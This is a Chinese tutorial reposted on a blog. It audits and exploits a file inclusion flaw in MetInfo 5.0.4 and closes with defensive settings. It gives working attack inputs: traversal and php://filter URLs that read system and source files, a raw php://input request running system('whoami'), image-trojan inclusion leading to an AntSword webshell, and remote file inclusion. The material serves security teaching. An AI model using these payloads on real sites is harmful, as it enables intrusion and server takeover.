文件包含漏洞实战

news2025/1/10 2:23:26

加粗样式

文章目录

    • 漏洞原理
      • 特点
      • 利用方法
        • 包含图片木马
        • 读取敏感文件
      • 封装协议
    • 复现环境准备
    • 漏洞点
    • 代码审计验证漏洞点
      • 读取敏感文件
    • 文件包含漏洞+文件上传漏洞深度利用
    • 中国蚁剑-getshell
    • 突破文件上传漏洞限制
      • 读取文件源码
      • 执行PHP命令
      • 远程文件包含
    • 文件包含漏洞防御

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

无条件解析PHP 代码,为图片木马提供了出路。

利用方法

包含图片木马

中国蚁剑直接链接。

读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

目标文件存在(已知目标文件路径);

具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

image-20230831205736947

复现环境准备

可以到http://v.metinfo.cn/下载各个版本的metinfo,

也可以到我的网盘下载5.0.4版本的:https://pan.baidu.com/s/1PZjQNDgLL10E05ryKNchKw?pwd=yuan

漏洞点

经过对这个版本的metinfo进行代码审计,我们可以发现在about目录中的index.php中存在文件包含漏洞

/about/index.php

代码审计验证漏洞点

我们来看到这个index.php,如下图所示,其中定义了fmodule变量与module变量,其中require_once语句表示将某个文件引入当前文件,在这个代码中,通过require_once引入了module.php,并且最后引入了module变量,这就是文件包含的入口,如果我们能控制module的值,就很可能存在文件包含漏洞

about/index.php

image-20230831173311983

经过对index.php的分析,我们就要确认module值如何能被控制,于是我们就要进入module.php分析源码:

include/module.php

image-20230831173141002

如图所示代码,如果我们传的$fmodule不为7的,就会进入这个if的条件语句,然后对我们的$module进行初始化赋值,这是我们没办法控制的,因为里面的赋值语句都写好了,一个是存在数组里,一个就是直接返回404.html。所以我们不能让这个程序进入这个条件,因此我们需要控制变量$fmodule为7,这样程序就不会对$module进行赋值了。所以我们可以自己手动赋值,从而达到控制$module变量的值的目的。

读取敏感文件

读取文件的前提条件:

目标文件存在(已知目标文件路径);

具有文件可读权限。

经过以上的代码审计,我们可以写出如下poc进行测试:

/about/index.php?fmodule=7&module=c:/windows/system32/drivers/etc/hosts

image-20230831174442431

可以看到,我们成功获取到了hosts文件,但是这并不能证明是文件包含漏洞,因为这仅仅是把hosts文件读取出来了,最多能确定的是文件读取漏洞,所以我们可以写一个把phpinfo.php放到www的一个目录中,我们尝试访问phpinfo.php,看看能否解析成功,解析成功了就说明是文件包含漏洞。如图,我把phpinfo.php放到了这个目录:

image-20230831174714678

/about/index.php?fmodule=7&module=../../phpinfo.php

然后执行poc,如图所示

image-20230831174800167

成功输出php的信息,所以到此可以确认这里确实是具有文件包含漏洞。

最终,我们还能得出一个结论,具有文件包含漏洞其实代表有文件读取漏洞,但是有文件读取漏洞不能证明有文件包含漏洞。

文件包含漏洞+文件上传漏洞深度利用

经过上面的代码审计,我们可以确定有文件包含漏洞,又因为文件包含的特点:

  1. 无视文件扩展名读取文件内容
  2. 无条件解析PHP 代码

于是我们可以结合文件上传漏洞,上传一个图片马,让程序对我们的图片马进行读取,然后当做php解析,从而getshell。

经过我对这个版本的metinfo的功能点查找,在这个地方找到了上传功能:

image-20230831175415273

但是,我尝试多次上传,可能是因为环境的问题,显示上传成功,但是去目录查看,并没有我们上传的文件,肯定在其他地方可以成功上传文件,这里为了让大家看到效果,就直接手动将图片马放入这个metinfo的目录,不演示找文件上传的功能点了。因为我们的目的是:通过文件包含漏洞,让程序对我们的图片马进行解析,最终getshell。

这里我将图片马放到这个目录下:

image-20230831175738790

接下来通过文件包含漏洞,来包含我们的图片马

http://localhost/metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=../shell.jpg

image-20230831175838687

从结果可以看到,我们的页面没有显示图片,说明是把图片当做php执行了,所以接下来就通过中国蚁剑尝试getshell

中国蚁剑-getshell

如图,蚁剑连接成功

image-20230831180013713

突破文件上传漏洞限制

文件包含漏洞要想实现深度利用,就需要借助文件上传漏洞,但是如果系统中没有文件上传漏洞呢?或者目标服务器没有暴露我们上传的文件路径呢?我们仅仅可以使用文件包含漏洞,这个时候就需要考虑到php的一些封装协议了,利用封装协议,可以读取PHP文件源码,可以执行PHP命令

读取文件源码

利用php://fileter 读取文件源码

条件

  1. 与php.ini的allow_url_fopen的开启与否无关
  2. 与php.ini的allow_url_include的开启与否无关
  3. 知道文件的路径
  4. 具有文件包含漏洞

poc

/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831194727536

读取文件源码之后结果的Base64编码,需要进行解码,解码结果如下:

image-20230831194912151

如图可知,我们成功读取到了show.php的源码

执行PHP命令

条件

  1. 必须开启php.ini的allow_url_fopen
  2. 必须开启php.ini的allow_url_include
  3. 具有文件包含漏洞

poc

POST /metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=php://input HTTP/1.1
Host: 10.9.75.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: HFS_SID_=0.912836692063138; PHPSESSID=a71e5r7upv1jm86jc01kvaius2; recordurl=%2Chttp%253A%252F%252F10.9.75.168%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253D..%252Fshell.jpg%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253D..%252F..%252Fphpinfo.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

<?php
system("whoami");
?>

验证结果如下图:

image-20230831193904889

由上面的结果可知,我们利用php://input成功执行了php的命令。

但是前提是php的配置文件中开启了allow_url_fopen和allow_url_include

远程文件包含

由于前面的执行PHP命令的前提是php的配置文件中开启了allow_url_fopen和allow_url_include,既然开启了这两个配置,我们不如直接利用远程文件包含,直接包含我们的一句话木马,然后借助蚁剑getshell。

条件

  1. 必须开启php.ini的allow_url_fopen
  2. 必须开启php.ini的allow_url_include
  3. 具有文件包含漏洞

远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On # 通过远程方式打开文件
allow_url_include = On# 通过远程方式包含文件

远程文件是php文件:

image-20230831200602294

远程文件是图片马也行

image-20230831200339043

从上面的实战操作可知,我们成功通过文件包含漏洞的远程文件包含getshell,我们现在来分析一下远程文件包含的优势与缺点:

优势:不需要知道文件的路径,我们只需要包含我们远程服务器的木马文件即可

缺点:需要开启php.ini的allow_url_fopen,allow_url_include配置

文件包含漏洞防御

尽量少的使用动态包含;

严格过滤被包含文件的路径;

将参数allow_url_include 设置为Off;

使用参数open_basedir 限定文件访问范围:

open_basedir = c:\phpstudy_2016\www\

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/981928.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SMB 协议详解之-SMB1文件写入交互过程详解

本文介绍一下SMB协议的交互过程。由于SMB涉及非常多的字段,绝大多数人员没有必要对每个字段进行深入的了解(那可能更多的是协议开发人员需要做的工作)。对于SMB协议的学习,主要的目的是能够根据数据包的交互过程,还原出这次SMB交互干了什么,产生了哪些操作。因此本文聚焦…

centos执行systemctl restart命令报连接超时

centos执行systemctl restart命令报连接超时 Error getting authority: Error initializing authority: Error calling StartServiceByName for org.freedesktop.PolicyKit1: GDBus.Error:org.freedesktop.DBus.Error.TimedOut: Activation of org.freedesktop.PolicyKit1 tim…

LeetCode 18 四数之和

题目链接 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目解析 固定两个数&#xff0c;然后利用双指针来进行剩下两个数的筛选 主要使用的是三数之和的思想&#xff0c;具体可以看我上篇博客 注意去重 代码 class Solution { public:vector<…

学习笔记二十:Pod生命周期-启动钩子、停止钩子

Pod生命周期-启动钩子、停止钩子 Pod生命周期pod在整个生命周期的过程中总会处于以下几个状态&#xff1a;pod生命周期的重要行为&#xff1a;容器探测三种探针用于Pod检测 容器的重启策略定义是否重启Pod对象pod的终止过程 Init容器初始化容器与主容器区别是:初始化容器使用 P…

[Arduino电子近源渗透] Night of 19 v1.2.0

Github>https://github.com/MartinxMax/Night_of_19 首页 历史更新: Night of 19 v1.2.0 :自动获取IP,提升稳定性 Night of 19 v1.0.0 :需要静态配置IP地址 功能说明 受害者反弹shell到该设备,该设备通过蓝牙转发数据给攻击者,攻击者可远程命令执行 使用方法 #pyt…

ES6的面向对象编程以及ES6中的类和对象

一、面向对象 1、面向对象 &#xff08;1&#xff09;是一种开发思想&#xff0c;并不是具体的一种技术 &#xff08;2&#xff09;一切事物均为对象&#xff0c;在项目中主要是对象的分工协作 2、对象的特征 &#xff08;1&#xff09;对象是属性和行为的结合体 &#x…

Nodejs+vue+mysql网上药店购药系统 9h2k5

本毕业设计的内容是设计并且实现一个基于vue.js框架的空巢老人购药系统。采用MYSQL为数据库开发平台&#xff0c;nodejs语言&#xff0c;网络信息服务作为应用服务器。空巢老人购药系统的功能已基本实现&#xff0c;主要用户、家属、养生知识、药品信息、身体信息等。 论文主要…

java -- 深拷贝和浅拷贝的区别 如何实现深拷贝和浅拷贝

java -- 深拷贝和浅拷贝的区别 & 如何实现深拷贝和浅拷贝 一、 深拷贝和浅拷贝的区别二、重载clone()方法 一、 深拷贝和浅拷贝的区别 浅拷贝&#xff1a;对基本数据类型进行值传递&#xff0c;对引用数据类型进行引用传递般的拷贝&#xff0c;此为浅拷贝。 深拷贝&#x…

C#,数值计算——NRf3的计算方法与源程序

1 文本格式 using System; namespace Legalsoft.Truffer { public class NRf3 : UniVarRealValueFun { public double xsav, ysav; public RealValueFun func3d; public NRf3() { } public double funk(double z) { …

InnoDB全文索引是如何实现的?

分析&回答 全文索引的底层实现为倒排索引。 为什么叫倒排索引&#xff08;反向索引&#xff09; 当表上存在全文索引时&#xff0c;就会隐式的建立一个名为FTS_DOC_ID的列&#xff0c;并在其上创建一个唯一索引&#xff0c;用于标识分词出现的记录行。你也可以显式的创建…

中国电信研究院发布《5G+数字孪生赋能城市数字化应用研究报告》

9月5日&#xff0c;中国电信研究院战略发展研究所联合中关村智慧城市产业技术创新战略联盟在2023年中国国际服务贸易交易会数字孪生专题论坛正式对外发布《5G数字孪生赋能城市数字化应用研究报告》。 会上&#xff0c;中国电信研究院战略发展研究所副所长季鸿从数字中国…

力扣(LeetCode)算法_C++——稀疏矩阵的乘法

给定两个 稀疏矩阵 &#xff1a;大小为 m x k 的稀疏矩阵 mat1 和大小为 k x n 的稀疏矩阵 mat2 &#xff0c;返回 mat1 x mat2 的结果。你可以假设乘法总是可能的。 示例 1&#xff1a; 输入&#xff1a;mat1 [[1,0,0],[-1,0,3]], mat2 [[7,0,0],[0,0,0],[0,0,1]] 输出&am…

【PowerQuery】导入与加载XML

在标准数据格式类型里面,有一类比较特殊的数据类型,就是层次结构数据。层次结构数据和标准的结构型数据方式完全不同,在实际应用过程中使用最为频繁的几种数据类型如下。 XML数据格式Json 数据格式Yaml 数据格式我们将在本节和大家一起分享下XML格式数据集成,下一节和大家分…

【开发】安防监控/视频汇聚/云存储/AI智能视频融合平台页面新增地图模式

AI智能分析网关包含有20多种算法&#xff0c;包括人脸、人体、车辆、车牌、行为分析、烟火、入侵、聚集、安全帽、反光衣等等&#xff0c;可应用在安全生产、通用园区、智慧食安、智慧城管、智慧煤矿等场景中。将网关硬件结合我们的视频汇聚/安防监控/视频融合平台EasyCVR一起使…

element ui 表格组件与分页组件的二次封装

目录 组件封装 parseTime函数 debounce 函数 页面使用 【扩展】vue 函数式组件 函数式组件特点&#xff1a; 函数式组件的优点&#xff1a; 【扩展】vue中的render函数 一、初步认识render函数 二、为什么使用render函数 三、render函数的解析 组件封装 这段代码是一…

异步编程 - 05 基于JDK中的Future实现异步编程(中)_CompletableFuture

文章目录 Pre概述显式设置CompletableFuture结果基于CompletableFuture实现异步计算与结果转换1&#xff09;基于runAsync系列方法实现无返回值的异步计算2&#xff09;基于supplyAsync系列方法实现有返回值的异步计算3&#xff09;基于thenRun实现异步任务A&#xff0c;执行完…

[管理与领导-73]:IT基层管理者 - 辅助技能 - 4- 职业发展规划 - 如何持续提升自我

目录 一、能力三核 1.1 专业知识能力 1.2 通用管理能力 1.3 优秀品质能力 二、能力发展策略 三、学习的四种渠道 四、有效的刻意练习 一、能力三核 1.1 专业知识能力 专业知识能力是指在特定领域或行业中所掌握的专业知识和技能。它是在特定领域内取得成功并为组织或个…

MySQL——DQL union合并、limit限制与DDL建表和删表

一、Union 合并 union:是实现两个查询结果的合并。 例如&#xff1a;当我们查询员工名字为manager 和 salesman的员工名字和 工作&#xff1f; select e.ename,e.job from emp e where e.jobmanager or e.job salesman; select e.ename,e.job from emp e where e.job in(man…

pandas笔记:显示中间的省略号

比如我们有这样一个数据&#xff08;Geolife中的数据&#xff09; 如何把中间的省略号完整地输出呢&#xff1f; pd.set_option(display.max_rows, None) data

【图解RabbitMQ-4】Docker安装RabbitMQ详细图文过程

&#x1f9d1;‍&#x1f4bb;作者名称&#xff1a;DaenCode &#x1f3a4;作者简介&#xff1a;CSDN实力新星&#xff0c;后端开发两年经验&#xff0c;曾担任甲方技术代表&#xff0c;业余独自创办智源恩创网络科技工作室。会点点Java相关技术栈、帆软报表、低代码平台快速开…